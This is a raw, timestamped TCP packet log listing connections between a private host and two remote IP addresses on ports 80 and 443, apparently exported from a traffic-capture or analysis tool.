Nov 18, 2024 13:29:35.410645008 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.410659075 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.410720110 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.410720110 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.410727978 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.410739899 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.410752058 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.410808086 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.410808086 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.410882950 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.410895109 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.410907984 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.410933018 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.410957098 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.410957098 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.410974026 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.411005020 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.411017895 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.411030054 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.411042929 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.411055088 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.411072969 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.411108971 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.411108971 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.411129951 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.411140919 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.411154032 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.411165953 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.411175013 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.411195040 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.411218882 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.411262035 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.411273003 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.411283970 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.411309958 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.411339998 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.411355019 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.411370993 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.411382914 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.411464930 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.411711931 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.411734104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.411746979 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.411758900 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.411770105 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.411783934 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.411798000 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.411811113 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.411817074 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.411817074 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.411823034 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.411853075 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.411900043 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.449902058 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.449923038 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.449938059 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.449953079 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.449975014 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.449981928 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.449989080 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.450011015 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.450073957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.450087070 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.450092077 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.450099945 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.450140953 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.450140953 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.492010117 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.492024899 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.492084980 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.522285938 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.522304058 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.522320032 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.522386074 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.522399902 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.522408962 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.522413015 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.522409916 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.522428036 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.522440910 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.522440910 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.522471905 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.522501945 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.522514105 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.522515059 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.522536993 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.522551060 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.522567987 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.522567987 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.522634983 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.522643089 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.522710085 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.522725105 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.522737980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.522751093 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.522770882 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.522770882 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.522871017 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.522902012 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.522918940 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.522933960 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.522948980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.522995949 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.523071051 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.523085117 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.523097992 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.523108959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.523128033 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.523140907 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.523155928 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.523155928 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.523200035 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.523324966 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.523390055 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.523401022 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.523438931 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.523438931 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.523451090 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.523463964 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.523475885 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.523488045 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.523534060 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.523534060 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.523556948 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.523587942 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.523667097 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.523699999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.523714066 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.523727894 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.523777962 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.523833036 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.523864985 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.523878098 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.523933887 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.523933887 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.523957968 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.523969889 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.523982048 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.524038076 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.524121046 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.524144888 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.524157047 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.524208069 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.524208069 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.525249004 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.525317907 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.525331020 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.525433064 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.525445938 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.525458097 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.525474072 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.525480032 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.525480032 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.525487900 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.525537014 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.525537014 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.525649071 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.525665045 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.525677919 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.525691032 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.525703907 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.525729895 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.525729895 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.525787115 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.525799036 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.525841951 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.525854111 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.525866985 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.525873899 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.525873899 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.526088953 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.526102066 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.526113033 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.526113987 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.526129007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.526141882 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.526150942 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.526151896 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.526190042 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.526300907 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.526357889 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.526370049 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.526412964 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.526412964 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.526495934 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.526510000 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.526524067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.526540041 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.526562929 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.526562929 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.526587009 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.526654959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.526669979 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.526801109 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.526813030 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.526827097 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.526830912 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.526840925 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.526854038 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.526869059 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.526880026 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.526880026 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.526882887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.526895046 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.526907921 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.526915073 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.526920080 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.526938915 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.526964903 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.526964903 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.527237892 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.527251005 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.527262926 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.527333975 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.527378082 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.527390957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.527401924 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.527415037 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.527430058 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.527458906 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.527458906 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.527470112 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.527503967 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.527625084 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.527640104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.527662039 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.527676105 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.527688026 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.527705908 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.527719021 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.527719975 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.527719021 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.527734995 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.527746916 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.527754068 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.527755022 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.527765036 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.527776957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.527791023 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.527805090 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.527812004 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.527812004 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.527828932 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.527896881 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.528156042 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.528167963 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.528182030 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.528209925 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.528222084 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.528234005 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.528270006 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.528301001 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.528315067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.528326988 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.528337955 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.528352976 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.528378963 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.528378963 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.528398037 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.528412104 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.528425932 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.528458118 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.528490067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.528503895 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.528553009 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.528553009 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.528578997 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.528594971 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.528611898 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.528640032 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.528675079 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.528675079 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.528690100 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.528704882 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.528717041 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.528786898 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.528789043 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.528801918 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.528815985 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.528832912 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.528860092 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.528860092 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.528922081 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.528934002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.528947115 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.528968096 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.528968096 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.529000998 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.529014111 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.529022932 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.529027939 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.529042959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.529095888 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.529095888 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.529155016 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.529165030 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.529176950 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.529191017 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.529230118 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.529230118 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.529230118 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.529248953 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.529262066 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.529301882 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.529314995 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.529381037 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.529393911 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.529406071 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.529417992 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.529432058 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.529438019 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.529438019 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.529444933 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.529459953 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.529521942 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.529521942 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.529666901 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.529680014 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.529690981 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.529702902 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.529720068 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.529732943 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.529741049 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.529741049 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.529745102 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.529757977 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.529769897 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.529783010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.529791117 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.529791117 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.529799938 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:35.529840946 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.529840946 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:35.542609930 CET	443	49823	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:35.543098927 CET	49823	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:35.543155909 CET	443	49823	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:35.543349981 CET	49823	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:35.543356895 CET	443	49823	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:35.543450117 CET	49823	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:35.568005085 CET	80	49746	185.215.113.206	192.168.2.8
